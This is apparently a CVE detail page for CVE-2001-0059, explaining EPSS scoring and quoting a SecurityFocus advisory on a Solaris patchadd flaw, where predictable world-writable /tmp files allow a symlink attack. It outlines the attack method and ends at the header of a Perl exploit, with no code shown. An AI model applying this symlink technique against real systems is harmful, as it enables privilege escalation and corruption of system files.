CVE-2001-0059 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

source: https://www.securityfocus.com/bid/2127/info patchadd is the patch management tool included with the Solaris Operating Environment, distributed by Sun Microsystems. A problem exists which could allow a user to corrupt or append system files. The problem exists in the creation of /tmp files by patchadd. patchadd creates a variety of files in /tmp while installing the patches on the operating system. The files created in /tmp are mode 0666, and are created with the extension sh<pid of patchadd>.1, sh<pid of patchadd>.2, and so on. Running the program requires administrative access. It is possible to brute force guess the pid of patchadd, and create files in the /tmp directory that are symbolic links to sensitive system files. It is therefore possible for a user with malicious intent to gain elevated privileges, corrupt system files, or execute arbitrary commands. #!/usr/local/bin/perl #Exploit for patchadd Solaris 2.x.
